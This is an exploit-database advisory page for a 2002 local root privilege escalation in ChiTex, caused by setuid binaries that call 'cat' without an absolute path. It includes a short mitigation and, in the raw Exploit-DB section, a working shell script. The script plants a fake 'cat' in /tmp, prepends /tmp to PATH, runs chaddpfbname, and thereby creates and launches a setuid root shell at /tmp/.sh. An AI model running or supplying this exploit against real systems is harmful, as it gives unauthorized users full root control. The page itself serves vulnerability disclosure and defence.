ChiTex Local Root Privilege Escalation Vulnerability

vendor:

ChiTex

by:

SecurityFocus

7.2

CVSS

HIGH

Local Root Privilege Escalation

264

CWE

Product Name: ChiTex

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2002

ChiTex Local Root Privilege Escalation Vulnerability

A vulnerability in ChiTex has been reported that may allow local users to obtain root privileges on vulnerable systems. The vulnerability exists due to the existence of two setuid root binaries that execute the 'cat' program without an absolute path. An attacker can exploit this vulnerability by creating a malicious 'cat' file and invoking the setuid binaries. This will result in the execution of the attacker-supplied 'cat' file with root privileges.

Mitigation:

Ensure that all setuid root binaries are invoked with an absolute path.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/7263/info

A vulnerability in ChiTex has been reported that may allow local users to obtain root privileges on vulnerable systems. The vulnerability exists due to the existence of two setuid root binaries that execute the 'cat' program without an absolute path.

An attacker can exploit this vulnerability by creating a malicious 'cat' file and invoking the setuid binaries. This will result in the execution of the attacker-supplied 'cat' file with root privileges. 

#!/bin/sh
echo 'owned' > 'psfontsmap@'
export psfontsmap=/tmp/owned
echo "/bin/cp /bin/sh /tmp/.sh" > /tmp/cat
echo "/bin/chmod 4755 /tmp/.sh" >> /tmp/cat
chmod +x /tmp/cat
cd /tmp
export PATH="/tmp:$PATH"
/usr/local/bin/chaddpfbname
/tmp/.sh -c id
/tmp/.sh